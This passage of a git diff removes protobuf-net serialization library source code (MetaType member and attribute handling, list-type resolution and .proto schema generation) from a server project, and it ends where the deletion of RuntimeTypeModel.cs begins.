GetContractFamily(RuntimeTypeModel model, Type type, AttributeMap[] attributes) - { - AttributeFamily family = AttributeFamily.None; - - if (attributes == null) attributes = AttributeMap.Create(model, type, false); - - for (int i = 0; i < attributes.Length; i++) - { - switch (attributes[i].AttributeType.FullName) - { - case "ProtoBuf.ProtoContractAttribute": - bool tmp = false; - GetFieldBoolean(ref tmp, attributes[i], "UseProtoMembersOnly"); - if (tmp) return AttributeFamily.ProtoBuf; - family |= AttributeFamily.ProtoBuf; - break; - case "System.Xml.Serialization.XmlTypeAttribute": - if (!model.AutoAddProtoContractTypesOnly) - { - family |= AttributeFamily.XmlSerializer; - } - break; - case "System.Runtime.Serialization.DataContractAttribute": - if (!model.AutoAddProtoContractTypesOnly) - { - family |= AttributeFamily.DataContractSerialier; - } - break; - } - } - if (family == AttributeFamily.None) - { - // check for obvious tuples - MemberInfo[] mapping; - if (ResolveTupleConstructor(type, out mapping) != null) - { - family |= AttributeFamily.AutoTuple; - } - } - return family; - } - - internal static ConstructorInfo ResolveTupleConstructor(Type type, out MemberInfo[] mappedMembers) - { - mappedMembers = null; - if (type == null) throw new ArgumentNullException("type"); -#if WINRT - TypeInfo typeInfo = type.GetTypeInfo(); - if (typeInfo.IsAbstract) return null; // as if! - ConstructorInfo[] ctors = Helpers.GetConstructors(typeInfo, false); -#else - if (type.IsAbstract) return null; // as if! - ConstructorInfo[] ctors = Helpers.GetConstructors(type, false); -#endif - // need to have an interesting constructor to bother even checking this stuff - if (ctors.Length == 0 || (ctors.Length == 1 && ctors[0].GetParameters().Length == 0)) return null; - - MemberInfo[] fieldsPropsUnfiltered = Helpers.GetInstanceFieldsAndProperties(type, true); - BasicList memberList = new BasicList(); - for (int i = 0; i < fieldsPropsUnfiltered.Length; i++) - { - PropertyInfo prop = fieldsPropsUnfiltered[i] as PropertyInfo; - if (prop != null) - { - if (!prop.CanRead) return null; // no use if can't read - if (prop.CanWrite && Helpers.GetSetMethod(prop, false, false) != null) - return null; - // don't allow a public set (need to allow non-public to handle Mono's KeyValuePair<,>) - memberList.Add(prop); - } - else - { - FieldInfo field = fieldsPropsUnfiltered[i] as FieldInfo; - if (field != null) - { - if (!field.IsInitOnly) return null; // all public fields must be readonly to be counted a tuple - memberList.Add(field); - } - } - } - if (memberList.Count == 0) - { - return null; - } - - MemberInfo[] members = new MemberInfo[memberList.Count]; - memberList.CopyTo(members, 0); - - int[] mapping = new int[members.Length]; - int found = 0; - ConstructorInfo result = null; - mappedMembers = new MemberInfo[mapping.Length]; - for (int i = 0; i < ctors.Length; i++) - { - ParameterInfo[] parameters = ctors[i].GetParameters(); - - if (parameters.Length != members.Length) continue; - - // reset the mappings to test - for (int j = 0; j < mapping.Length; j++) mapping[j] = -1; - - for (int j = 0; j < parameters.Length; j++) - { - string lower = parameters[j].Name.ToLower(); - for (int k = 0; k < members.Length; k++) - { - if (members[k].Name.ToLower() != lower) continue; - Type memberType = Helpers.GetMemberType(members[k]); - if (memberType != parameters[j].ParameterType) continue; - - mapping[j] = k; - } - } - // did we map all? - bool notMapped = false; - for (int j = 0; j < mapping.Length; j++) - { - if (mapping[j] < 0) - { - notMapped = true; - break; - } - mappedMembers[j] = members[mapping[j]]; - } - - if (notMapped) continue; - found++; - result = ctors[i]; - } - return found == 1 ? result : null; - } - - private static void CheckForCallback(MethodInfo method, AttributeMap[] attributes, string callbackTypeName, - ref MethodInfo[] callbacks, int index) - { - for (int i = 0; i < attributes.Length; i++) - { - if (attributes[i].AttributeType.FullName == callbackTypeName) - { - if (callbacks == null) - { - callbacks = new MethodInfo[8]; - } - else if (callbacks[index] != null) - { -#if WINRT || FEAT_IKVM - Type reflected = method.DeclaringType; -#else - Type reflected = method.ReflectedType; -#endif - throw new ProtoException("Duplicate " + callbackTypeName + " callbacks on " + reflected.FullName); - } - callbacks[index] = method; - } - } - } - - private static bool HasFamily(AttributeFamily value, AttributeFamily required) - { - return (value & required) == required; - } - - private static ProtoMemberAttribute NormalizeProtoMember(TypeModel model, MemberInfo member, - AttributeFamily family, bool forced, bool isEnum, BasicList partialMembers, int dataMemberOffset, - bool inferByTagName) - { - if (member == null || (family == AttributeFamily.None && !isEnum)) return null; // nix - int fieldNumber = int.MinValue, minAcceptFieldNumber = inferByTagName ? -1 : 1; - string name = null; - bool isPacked = false, - ignore = false, - done = false, - isRequired = false, - asReference = false, - asReferenceHasValue = false, - dynamicType = false, - tagIsPinned = false, - overwriteList = false; - DataFormat dataFormat = DataFormat.Default; - if (isEnum) forced = true; - AttributeMap[] attribs = AttributeMap.Create(model, member, true); - AttributeMap attrib; - - if (isEnum) - { - attrib = GetAttribute(attribs, "ProtoBuf.ProtoIgnoreAttribute"); - if (attrib != null) - { - ignore = true; - } - else - { - attrib = GetAttribute(attribs, "ProtoBuf.ProtoEnumAttribute"); -#if WINRT || PORTABLE || CF || FX11 - fieldNumber = Convert.ToInt32(((FieldInfo)member).GetValue(null)); -#else - fieldNumber = Convert.ToInt32(((FieldInfo) member).GetRawConstantValue()); -#endif - if (attrib != null) - { - GetFieldName(ref name, attrib, "Name"); -#if !FEAT_IKVM // IKVM can't access HasValue, but conveniently, Value will only be returned if set via ctor or property - if ((bool) Helpers.GetInstanceMethod(attrib.AttributeType -#if WINRT - .GetTypeInfo() -#endif - , "HasValue").Invoke(attrib.Target, null)) -#endif - { - object tmp; - if (attrib.TryGet("Value", out tmp)) fieldNumber = (int) tmp; - } - } - } - done = true; - } - - if (!ignore && !done) // always consider ProtoMember - { - attrib = GetAttribute(attribs, "ProtoBuf.ProtoMemberAttribute"); - GetIgnore(ref ignore, attrib, attribs, "ProtoBuf.ProtoIgnoreAttribute"); - - if (!ignore && attrib != null) - { - GetFieldNumber(ref fieldNumber, attrib, "Tag"); - GetFieldName(ref name, attrib, "Name"); - GetFieldBoolean(ref isRequired, attrib, "IsRequired"); - GetFieldBoolean(ref isPacked, attrib, "IsPacked"); - GetFieldBoolean(ref overwriteList, attrib, "OverwriteList"); - GetDataFormat(ref dataFormat, attrib, "DataFormat"); - -#if !FEAT_IKVM - // IKVM can't access AsReferenceHasValue, but conveniently, AsReference will only be returned if set via ctor or property - GetFieldBoolean(ref asReferenceHasValue, attrib, "AsReferenceHasValue", false); - if (asReferenceHasValue) -#endif - { - asReferenceHasValue = GetFieldBoolean(ref asReference, attrib, "AsReference", true); - } - GetFieldBoolean(ref dynamicType, attrib, "DynamicType"); - done = tagIsPinned = fieldNumber > 0; // note minAcceptFieldNumber only applies to non-proto - } - - if (!done && partialMembers != null) - { - foreach (AttributeMap ppma in partialMembers) - { - object tmp; - if (ppma.TryGet("MemberName", out tmp) && (string) tmp == member.Name) - { - GetFieldNumber(ref fieldNumber, ppma, "Tag"); - GetFieldName(ref name, ppma, "Name"); - GetFieldBoolean(ref isRequired, ppma, "IsRequired"); - GetFieldBoolean(ref isPacked, ppma, "IsPacked"); - GetFieldBoolean(ref overwriteList, attrib, "OverwriteList"); - GetDataFormat(ref dataFormat, ppma, "DataFormat"); - -#if !FEAT_IKVM - // IKVM can't access AsReferenceHasValue, but conveniently, AsReference will only be returned if set via ctor or property - GetFieldBoolean(ref asReferenceHasValue, attrib, "AsReferenceHasValue", false); - if (asReferenceHasValue) -#endif - { - asReferenceHasValue = GetFieldBoolean(ref asReference, ppma, "AsReference", true); - } - GetFieldBoolean(ref dynamicType, ppma, "DynamicType"); - if (done = tagIsPinned = fieldNumber > 0) - break; // note minAcceptFieldNumber only applies to non-proto - } - } - } - } - - if (!ignore && !done && HasFamily(family, AttributeFamily.DataContractSerialier)) - { - attrib = GetAttribute(attribs, "System.Runtime.Serialization.DataMemberAttribute"); - if (attrib != null) - { - GetFieldNumber(ref fieldNumber, attrib, "Order"); - GetFieldName(ref name, attrib, "Name"); - GetFieldBoolean(ref isRequired, attrib, "IsRequired"); - done = fieldNumber >= minAcceptFieldNumber; - if (done) - fieldNumber += dataMemberOffset; - // dataMemberOffset only applies to DCS flags, to allow us to "bump" WCF by a notch - } - } - if (!ignore && !done && HasFamily(family, AttributeFamily.XmlSerializer)) - { - attrib = GetAttribute(attribs, "System.Xml.Serialization.XmlElementAttribute"); - if (attrib == null) attrib = GetAttribute(attribs, "System.Xml.Serialization.XmlArrayAttribute"); - GetIgnore(ref ignore, attrib, attribs, "System.Xml.Serialization.XmlIgnoreAttribute"); - if (attrib != null && !ignore) - { - GetFieldNumber(ref fieldNumber, attrib, "Order"); - GetFieldName(ref name, attrib, "ElementName"); - done = fieldNumber >= minAcceptFieldNumber; - } - } - if (!ignore && !done) - { - if (GetAttribute(attribs, "System.NonSerializedAttribute") != null) ignore = true; - } - if (ignore || (fieldNumber < minAcceptFieldNumber && !forced)) return null; - ProtoMemberAttribute result = new ProtoMemberAttribute(fieldNumber, forced || inferByTagName); - result.AsReference = asReference; - result.AsReferenceHasValue = asReferenceHasValue; - result.DataFormat = dataFormat; - result.DynamicType = dynamicType; - result.IsPacked = isPacked; - result.OverwriteList = overwriteList; - result.IsRequired = isRequired; - result.Name = Helpers.IsNullOrEmpty(name) ? member.Name : name; - result.Member = member; - result.TagIsPinned = tagIsPinned; - return result; - } - - private ValueMember ApplyDefaultBehaviour(bool isEnum, ProtoMemberAttribute normalizedAttribute) - { - MemberInfo member; - if (normalizedAttribute == null || (member = normalizedAttribute.Member) == null) return null; // nix - - Type effectiveType = Helpers.GetMemberType(member); - - - Type itemType = null; - Type defaultType = null; - - // check for list types - ResolveListTypes(model, effectiveType, ref itemType, ref defaultType); - // but take it back if it is explicitly excluded - if (itemType != null) - { - // looks like a list, but double check for IgnoreListHandling - int idx = model.FindOrAddAuto(effectiveType, false, true, false); - if (idx >= 0 && model[effectiveType].IgnoreListHandling) - { - itemType = null; - defaultType = null; - } - } - AttributeMap[] attribs = AttributeMap.Create(model, member, true); - AttributeMap attrib; - - object defaultValue = null; - // implicit zero default - if (model.UseImplicitZeroDefaults) - { - switch (Helpers.GetTypeCode(effectiveType)) - { - case ProtoTypeCode.Boolean: - defaultValue = false; - break; - case ProtoTypeCode.Decimal: - defaultValue = (decimal) 0; - break; - case ProtoTypeCode.Single: - defaultValue = (float) 0; - break; - case ProtoTypeCode.Double: - defaultValue = (double) 0; - break; - case ProtoTypeCode.Byte: - defaultValue = (byte) 0; - break; - case ProtoTypeCode.Char: - defaultValue = (char) 0; - break; - case ProtoTypeCode.Int16: - defaultValue = (short) 0; - break; - case ProtoTypeCode.Int32: - defaultValue = (int) 0; - break; - case ProtoTypeCode.Int64: - defaultValue = (long) 0; - break; - case ProtoTypeCode.SByte: - defaultValue = (sbyte) 0; - break; - case ProtoTypeCode.UInt16: - defaultValue = (ushort) 0; - break; - case ProtoTypeCode.UInt32: - defaultValue = (uint) 0; - break; - case ProtoTypeCode.UInt64: - defaultValue = (ulong) 0; - break; - case ProtoTypeCode.TimeSpan: - defaultValue = TimeSpan.Zero; - break; - case ProtoTypeCode.Guid: - defaultValue = Guid.Empty; - break; - } - } - if ((attrib = GetAttribute(attribs, "System.ComponentModel.DefaultValueAttribute")) != null) - { - object tmp; - if (attrib.TryGet("Value", out tmp)) defaultValue = tmp; - } - ValueMember vm = ((isEnum || normalizedAttribute.Tag > 0)) - ? new ValueMember(model, type, normalizedAttribute.Tag, member, effectiveType, itemType, defaultType, - normalizedAttribute.DataFormat, defaultValue) - : null; - if (vm != null) - { -#if WINRT - TypeInfo finalType = typeInfo; -#else - Type finalType = type; -#endif - PropertyInfo prop = Helpers.GetProperty(finalType, member.Name + "Specified", true); - MethodInfo getMethod = Helpers.GetGetMethod(prop, true, true); - if (getMethod == null || getMethod.IsStatic) prop = null; - if (prop != null) - { - vm.SetSpecified(getMethod, Helpers.GetSetMethod(prop, true, true)); - } - else - { - MethodInfo method = Helpers.GetInstanceMethod(finalType, "ShouldSerialize" + member.Name, - Helpers.EmptyTypes); - if (method != null && method.ReturnType == model.MapType(typeof (bool))) - { - vm.SetSpecified(method, null); - } - } - if (!Helpers.IsNullOrEmpty(normalizedAttribute.Name)) vm.SetName(normalizedAttribute.Name); - vm.IsPacked = normalizedAttribute.IsPacked; - vm.IsRequired = normalizedAttribute.IsRequired; - vm.OverwriteList = normalizedAttribute.OverwriteList; - if (normalizedAttribute.AsReferenceHasValue) - { - vm.AsReference = normalizedAttribute.AsReference; - } - vm.DynamicType = normalizedAttribute.DynamicType; - } - return vm; - } - - private static void GetDataFormat(ref DataFormat value, AttributeMap attrib, string memberName) - { - if ((attrib == null) || (value != DataFormat.Default)) return; - object obj; - if (attrib.TryGet(memberName, out obj) && obj != null) value = (DataFormat) obj; - } - - private static void GetIgnore(ref bool ignore, AttributeMap attrib, AttributeMap[] attribs, string fullName) - { - if (ignore || attrib == null) return; - ignore = GetAttribute(attribs, fullName) != null; - return; - } - - private static void GetFieldBoolean(ref bool value, AttributeMap attrib, string memberName) - { - GetFieldBoolean(ref value, attrib, memberName, true); - } - - private static bool GetFieldBoolean(ref bool value, AttributeMap attrib, string memberName, bool publicOnly) - { - if (attrib == null) return false; - if (value) return true; - object obj; - if (attrib.TryGet(memberName, publicOnly, out obj) && obj != null) - { - value = (bool) obj; - return true; - } - return false; - } - - private static void GetFieldNumber(ref int value, AttributeMap attrib, string memberName) - { - if (attrib == null || value > 0) return; - object obj; - if (attrib.TryGet(memberName, out obj) && obj != null) value = (int) obj; - } - - private static void GetFieldName(ref string name, AttributeMap attrib, string memberName) - { - if (attrib == null || !Helpers.IsNullOrEmpty(name)) return; - object obj; - if (attrib.TryGet(memberName, out obj) && obj != null) name = (string) obj; - } - - private static AttributeMap GetAttribute(AttributeMap[] attribs, string fullName) - { - for (int i = 0; i < attribs.Length; i++) - { - AttributeMap attrib = attribs[i]; - if (attrib != null && attrib.AttributeType.FullName == fullName) return attrib; - } - return null; - } - - /// - /// Adds a member (by name) to the MetaType - /// - public MetaType Add(int fieldNumber, string memberName) - { - AddField(fieldNumber, memberName, null, null, null); - return this; - } - - /// - /// Adds a member (by name) to the MetaType, returning the ValueMember rather than the fluent API. - /// This is otherwise identical to Add. - /// - public ValueMember AddField(int fieldNumber, string memberName) - { - return AddField(fieldNumber, memberName, null, null, null); - } - - /// - /// Gets or sets whether the type should use a parameterless constructor (the default), - /// or whether the type should skip the constructor completely. This option is not supported - /// on compact-framework. - /// - public bool UseConstructor - { - // negated to have defaults as flat zero - get { return !HasFlag(OPTIONS_SkipConstructor); } - set { SetFlag(OPTIONS_SkipConstructor, !value, true); } - } - - /// - /// The concrete type to create when a new instance of this type is needed; this may be useful when dealing - /// with dynamic proxies, or with interface-based APIs - /// - public Type ConstructType - { - get { return constructType; } - set - { - ThrowIfFrozen(); - constructType = value; - } - } - - private Type constructType; - - /// - /// Adds a member (by name) to the MetaType - /// - public MetaType Add(string memberName) - { - Add(GetNextFieldNumber(), memberName); - return this; - } - - private Type surrogate; - - /// - /// Performs serialization of this type via a surrogate; all - /// other serialization options are ignored and handled - /// by the surrogate's configuration. - /// - public void SetSurrogate(Type surrogateType) - { - if (surrogateType == type) surrogateType = null; - if (surrogateType != null) - { - // note that BuildSerializer checks the **CURRENT TYPE** is OK to be surrogated - if (surrogateType != null && - Helpers.IsAssignableFrom(model.MapType(typeof (IEnumerable)), surrogateType)) - { - throw new ArgumentException( - "Repeated data (a list, collection, etc) has inbuilt behaviour and cannot be used as a surrogate"); - } - } - ThrowIfFrozen(); - this.surrogate = surrogateType; - // no point in offering chaining; no options are respected - } - - internal MetaType GetSurrogateOrSelf() - { - if (surrogate != null) return model[surrogate]; - return this; - } - - internal MetaType GetSurrogateOrBaseOrSelf(bool deep) - { - if (surrogate != null) return model[surrogate]; - MetaType snapshot = this.baseType; - if (snapshot != null) - { - if (deep) - { - MetaType tmp; - do - { - tmp = snapshot; - snapshot = snapshot.baseType; - } while (snapshot != null); - return tmp; - } - return snapshot; - } - return this; - } - - private int GetNextFieldNumber() - { - int maxField = 0; - foreach (ValueMember member in fields) - { - if (member.FieldNumber > maxField) maxField = member.FieldNumber; - } - if (subTypes != null) - { - foreach (SubType subType in subTypes) - { - if (subType.FieldNumber > maxField) maxField = subType.FieldNumber; - } - } - return maxField + 1; - } - - /// - /// Adds a set of members (by name) to the MetaType - /// - public MetaType Add(params string[] memberNames) - { - if (memberNames == null) throw new ArgumentNullException("memberNames"); - int next = GetNextFieldNumber(); - for (int i = 0; i < memberNames.Length; i++) - { - Add(next++, memberNames[i]); - } - return this; - } - - - /// - /// Adds a member (by name) to the MetaType - /// - public MetaType Add(int fieldNumber, string memberName, object defaultValue) - { - AddField(fieldNumber, memberName, null, null, defaultValue); - return this; - } - - /// - /// Adds a member (by name) to the MetaType, including an itemType and defaultType for representing lists - /// - public MetaType Add(int fieldNumber, string memberName, Type itemType, Type defaultType) - { - AddField(fieldNumber, memberName, itemType, defaultType, null); - return this; - } - - /// - /// Adds a member (by name) to the MetaType, including an itemType and defaultType for representing lists, returning the ValueMember rather than the fluent API. - /// This is otherwise identical to Add. - /// - public ValueMember AddField(int fieldNumber, string memberName, Type itemType, Type defaultType) - { - return AddField(fieldNumber, memberName, itemType, defaultType, null); - } - - private ValueMember AddField(int fieldNumber, string memberName, Type itemType, Type defaultType, - object defaultValue) - { - MemberInfo mi = null; -#if WINRT - mi = Helpers.IsEnum(type) ? type.GetTypeInfo().GetDeclaredField(memberName) : Helpers.GetInstanceMember(type.GetTypeInfo(), memberName); - -#else - MemberInfo[] members = type.GetMember(memberName, - Helpers.IsEnum(type) - ? BindingFlags.Static | BindingFlags.Public - : BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic); - if (members != null && members.Length == 1) mi = members[0]; -#endif - if (mi == null) throw new ArgumentException("Unable to determine member: " + memberName, "memberName"); - - Type miType; -#if WINRT || PORTABLE - PropertyInfo pi = mi as PropertyInfo; - if (pi == null) - { - FieldInfo fi = mi as FieldInfo; - if (fi == null) - { - throw new NotSupportedException(mi.GetType().Name); - } - else - { - miType = fi.FieldType; - } - } - else - { - miType = pi.PropertyType; - } -#else - switch (mi.MemberType) - { - case MemberTypes.Field: - miType = ((FieldInfo) mi).FieldType; - break; - case MemberTypes.Property: - miType = ((PropertyInfo) mi).PropertyType; - break; - default: - throw new NotSupportedException(mi.MemberType.ToString()); - } -#endif - ResolveListTypes(model, miType, ref itemType, ref defaultType); - ValueMember newField = new ValueMember(model, type, fieldNumber, mi, miType, itemType, defaultType, - DataFormat.Default, defaultValue); - Add(newField); - return newField; - } - - internal static void ResolveListTypes(TypeModel model, Type type, ref Type itemType, ref Type defaultType) - { - if (type == null) return; - // handle arrays - if (type.IsArray) - { - if (type.GetArrayRank() != 1) - { - throw new NotSupportedException("Multi-dimension arrays are supported"); - } - itemType = type.GetElementType(); - if (itemType == model.MapType(typeof (byte))) - { - defaultType = itemType = null; - } - else - { - defaultType = type; - } - } - // handle lists - if (itemType == null) - { - itemType = TypeModel.GetListItemType(model, type); - } - - // check for nested data (not allowed) - if (itemType != null) - { - Type nestedItemType = null, nestedDefaultType = null; - ResolveListTypes(model, itemType, ref nestedItemType, ref nestedDefaultType); - if (nestedItemType != null) - { - throw TypeModel.CreateNestedListsNotSupported(); - } - } - - if (itemType != null && defaultType == null) - { -#if WINRT - TypeInfo typeInfo = type.GetTypeInfo(); - if (typeInfo.IsClass && !typeInfo.IsAbstract && Helpers.GetConstructor(typeInfo, Helpers.EmptyTypes, true) != null) -#else - if (type.IsClass && !type.IsAbstract && Helpers.GetConstructor(type, Helpers.EmptyTypes, true) != null) -#endif - { - defaultType = type; - } - if (defaultType == null) - { -#if WINRT - if (typeInfo.IsInterface) -#else - if (type.IsInterface) -#endif - { -#if NO_GENERICS - defaultType = typeof(ArrayList); -#else - Type[] genArgs; -#if WINRT - if (typeInfo.IsGenericType && type.GetGenericTypeDefinition() == typeof(System.Collections.Generic.IDictionary<,>) - && itemType == typeof(System.Collections.Generic.KeyValuePair<,>).MakeGenericType(genArgs = typeInfo.GenericTypeArguments)) -#else - if (type.IsGenericType && - type.GetGenericTypeDefinition() == - model.MapType(typeof (System.Collections.Generic.IDictionary<,>)) - && - itemType == - model.MapType(typeof (System.Collections.Generic.KeyValuePair<,>)) - .MakeGenericType(genArgs = type.GetGenericArguments())) -#endif - { - defaultType = - model.MapType(typeof (System.Collections.Generic.Dictionary<,>)) - .MakeGenericType(genArgs); - } - else - { - defaultType = - model.MapType(typeof (System.Collections.Generic.List<>)).MakeGenericType(itemType); - } -#endif - } - } - // verify that the default type is appropriate - if (defaultType != null && !Helpers.IsAssignableFrom(type, defaultType)) - { - defaultType = null; - } - } - } - - private void Add(ValueMember member) - { - int opaqueToken = 0; - try - { - model.TakeLock(ref opaqueToken); - ThrowIfFrozen(); - fields.Add(member); - } - finally - { - model.ReleaseLock(opaqueToken); - } - } - - /// - /// Returns the ValueMember that matchs a given field number, or null if not found - /// - public ValueMember this[int fieldNumber] - { - get - { - foreach (ValueMember member in fields) - { - if (member.FieldNumber == fieldNumber) return member; - } - return null; - } - } - - /// - /// Returns the ValueMember that matchs a given member (property/field), or null if not found - /// - public ValueMember this[MemberInfo member] - { - get - { - if (member == null) return null; - foreach (ValueMember x in fields) - { - if (x.Member == member) return x; - } - return null; - } - } - - private readonly BasicList fields = new BasicList(); - - /// - /// Returns the ValueMember instances associated with this type - /// - public ValueMember[] GetFields() - { - ValueMember[] arr = new ValueMember[fields.Count]; - fields.CopyTo(arr, 0); - Array.Sort(arr, ValueMember.Comparer.Default); - return arr; - } - - /// - /// Returns the SubType instances associated with this type - /// - public SubType[] GetSubtypes() - { - if (subTypes == null || subTypes.Count == 0) return new SubType[0]; - SubType[] arr = new SubType[subTypes.Count]; - subTypes.CopyTo(arr, 0); - Array.Sort(arr, SubType.Comparer.Default); - return arr; - } - -#if FEAT_COMPILER && !FX11 - - /// - /// Compiles the serializer for this type; this is *not* a full - /// standalone compile, but can significantly boost performance - /// while allowing additional types to be added. - /// - /// An in-place compile can access non-public types / members - public void CompileInPlace() - { -#if FEAT_IKVM - // just no nothing, quietely; don't want to break the API -#else - serializer = CompiledSerializer.Wrap(Serializer, model); -#endif - } -#endif - - internal bool IsDefined(int fieldNumber) - { - foreach (ValueMember field in fields) - { - if (field.FieldNumber == fieldNumber) return true; - } - return false; - } - - internal int GetKey(bool demand, bool getBaseKey) - { - return model.GetKey(type, demand, getBaseKey); - } - - - internal EnumSerializer.EnumPair[] GetEnumMap() - { - if (HasFlag(OPTIONS_EnumPassThru)) return null; - EnumSerializer.EnumPair[] result = new EnumSerializer.EnumPair[fields.Count]; - for (int i = 0; i < result.Length; i++) - { - ValueMember member = (ValueMember) fields[i]; - int wireValue = member.FieldNumber; - object value = member.GetRawEnumValue(); - result[i] = new EnumSerializer.EnumPair(wireValue, value, member.MemberType); - } - return result; - } - - - /// - /// Gets or sets a value indicating that an enum should be treated directly as an int/short/etc, rather - /// than enforcing .proto enum rules. This is useful *in particul* for [Flags] enums. - /// - public bool EnumPassthru - { - get { return HasFlag(OPTIONS_EnumPassThru); } - set { SetFlag(OPTIONS_EnumPassThru, value, true); } - } - - /// - /// Gets or sets a value indicating that this type should NOT be treated as a list, even if it has - /// familiar list-like characteristics (enumerable, add, etc) - /// - public bool IgnoreListHandling - { - get { return HasFlag(OPTIONS_IgnoreListHandling); } - set { SetFlag(OPTIONS_IgnoreListHandling, value, true); } - } - - internal bool Pending - { - get { return HasFlag(OPTIONS_Pending); } - set { SetFlag(OPTIONS_Pending, value, false); } - } - - private const byte - OPTIONS_Pending = 1, - OPTIONS_EnumPassThru = 2, - OPTIONS_Frozen = 4, - OPTIONS_PrivateOnApi = 8, - OPTIONS_SkipConstructor = 16, - OPTIONS_AsReferenceDefault = 32, - OPTIONS_AutoTuple = 64, - OPTIONS_IgnoreListHandling = 128; - - private volatile byte flags; - - private bool HasFlag(byte flag) - { - return (flags & flag) == flag; - } - - private void SetFlag(byte flag, bool value, bool throwIfFrozen) - { - if (throwIfFrozen && HasFlag(flag) != value) - { - ThrowIfFrozen(); - } - if (value) - flags |= flag; - else - flags = (byte) (flags & ~flag); - } - - internal static MetaType GetRootType(MetaType source) - { - while (source.serializer != null) - { - MetaType tmp = source.baseType; - if (tmp == null) return source; - source = tmp; // else loop until we reach something that isn't generated, or is the root - } - - // now we get into uncertain territory - RuntimeTypeModel model = source.model; - int opaqueToken = 0; - try - { - model.TakeLock(ref opaqueToken); - - MetaType tmp; - while ((tmp = source.baseType) != null) source = tmp; - return source; - } - finally - { - model.ReleaseLock(opaqueToken); - } - } - - internal bool IsPrepared() - { -#if FEAT_COMPILER && !FEAT_IKVM && !FX11 - return serializer is CompiledSerializer; - #else - return false; -#endif - } - - internal System.Collections.IEnumerable Fields - { - get { return this.fields; } - } - - internal static System.Text.StringBuilder NewLine(System.Text.StringBuilder builder, int indent) - { - return Helpers.AppendLine(builder).Append(' ', indent*3); - } - - internal bool IsAutoTuple - { - get { return HasFlag(OPTIONS_AutoTuple); } - } - - internal void WriteSchema(System.Text.StringBuilder builder, int indent, ref bool requiresBclImport) - { - if (surrogate != null) return; // nothing to write - - - ValueMember[] fieldsArr = new ValueMember[fields.Count]; - fields.CopyTo(fieldsArr, 0); - Array.Sort(fieldsArr, ValueMember.Comparer.Default); - - if (IsList) - { - string itemTypeName = model.GetSchemaTypeName(TypeModel.GetListItemType(model, type), DataFormat.Default, - false, false, ref requiresBclImport); - NewLine(builder, indent).Append("message ").Append(GetSchemaTypeName()).Append(" {"); - NewLine(builder, indent + 1).Append("repeated ").Append(itemTypeName).Append(" items = 1;"); - NewLine(builder, indent).Append('}'); - } - else if (IsAutoTuple) - { - // key-value-pair etc - MemberInfo[] mapping; - if (ResolveTupleConstructor(type, out mapping) != null) - { - NewLine(builder, indent).Append("message ").Append(GetSchemaTypeName()).Append(" {"); - for (int i = 0; i < mapping.Length; i++) - { - Type effectiveType; - if (mapping[i] is PropertyInfo) - { - effectiveType = ((PropertyInfo) mapping[i]).PropertyType; - } - else if (mapping[i] is FieldInfo) - { - effectiveType = ((FieldInfo) mapping[i]).FieldType; - } - else - { - throw new NotSupportedException("Unknown member type: " + mapping[i].GetType().Name); - } - NewLine(builder, indent + 1) - .Append("optional ") - .Append( - model.GetSchemaTypeName(effectiveType, DataFormat.Default, false, false, - ref requiresBclImport).Replace('.', '_')) - .Append(' ').Append(mapping[i].Name).Append(" = ").Append(i + 1).Append(';'); - } - NewLine(builder, indent).Append('}'); - } - } - else if (Helpers.IsEnum(type)) - { - NewLine(builder, indent).Append("enum ").Append(GetSchemaTypeName()).Append(" {"); - if (fieldsArr.Length == 0 && EnumPassthru) - { - if (type -#if WINRT - .GetTypeInfo() -#endif - .IsDefined(model.MapType(typeof (FlagsAttribute)), false)) - { - NewLine(builder, indent + 1).Append("// this is a composite/flags enumeration"); - } - else - { - NewLine(builder, indent + 1).Append("// this enumeration will be passed as a raw value"); - } - foreach (FieldInfo field in -#if WINRT - type.GetRuntimeFields() -#else - type.GetFields() -#endif - ) - { - if (field.IsStatic && field.IsLiteral) - { - object enumVal; -#if WINRT || PORTABLE || CF || FX11 - enumVal = field.GetValue(null); -#else - enumVal = field.GetRawConstantValue(); -#endif - NewLine(builder, indent + 1).Append(field.Name).Append(" = ").Append(enumVal).Append(";"); - } - } - } - else - { - foreach (ValueMember member in fieldsArr) - { - NewLine(builder, indent + 1) - .Append(member.Name) - .Append(" = ") - .Append(member.FieldNumber) - .Append(';'); - } - } - NewLine(builder, indent).Append('}'); - } - else - { - NewLine(builder, indent).Append("message ").Append(GetSchemaTypeName()).Append(" {"); - foreach (ValueMember member in fieldsArr) - { - string ordinality = member.ItemType != null - ? "repeated" - : member.IsRequired ? "required" : "optional"; - NewLine(builder, indent + 1).Append(ordinality).Append(' '); - if (member.DataFormat == DataFormat.Group) builder.Append("group "); - string schemaTypeName = member.GetSchemaTypeName(true, ref requiresBclImport); - builder.Append(schemaTypeName).Append(" ") - .Append(member.Name).Append(" = ").Append(member.FieldNumber); - if (member.DefaultValue != null) - { - if (member.DefaultValue is string) - { - builder.Append(" [default = \"").Append(member.DefaultValue).Append("\"]"); - } - else if (member.DefaultValue is bool) - { - // need to be lower case (issue 304) - builder.Append((bool) member.DefaultValue ? " [default = true]" : " [default = false]"); - } - else - { - builder.Append(" [default = ").Append(member.DefaultValue).Append(']'); - } - } - if (member.ItemType != null && member.IsPacked) - { - builder.Append(" [packed=true]"); - } - builder.Append(';'); - if (schemaTypeName == "bcl.NetObjectProxy" && member.AsReference && !member.DynamicType) - // we know what it is; tell the user - { - builder.Append(" // reference-tracked ") - .Append(member.GetSchemaTypeName(false, ref requiresBclImport)); - } - } - if (subTypes != null && subTypes.Count != 0) - { - NewLine(builder, indent + 1) - .Append("// the following represent sub-types; at most 1 should have a value"); - SubType[] subTypeArr = new SubType[subTypes.Count]; - subTypes.CopyTo(subTypeArr, 0); - Array.Sort(subTypeArr, SubType.Comparer.Default); - foreach (SubType subType in subTypeArr) - { - string subTypeName = subType.DerivedType.GetSchemaTypeName(); - NewLine(builder, indent + 1).Append("optional ").Append(subTypeName) - .Append(" ").Append(subTypeName).Append(" = ").Append(subType.FieldNumber).Append(';'); - } - } - NewLine(builder, indent).Append('}'); - } - } - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Meta/RuntimeTypeModel.cs b/Server/Core/ProtoBuf/Meta/RuntimeTypeModel.cs deleted file mode 100644 index d183e9e5..00000000 --- a/Server/Core/ProtoBuf/Meta/RuntimeTypeModel.cs +++ /dev/null @@ -1,2129 +0,0 @@ -#if !NO_RUNTIME -using System; -using System.Collections; -using System.Text; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -using IKVM.Reflection.Emit; -#else -using System.Reflection; -#if FEAT_COMPILER -using System.Reflection.Emit; 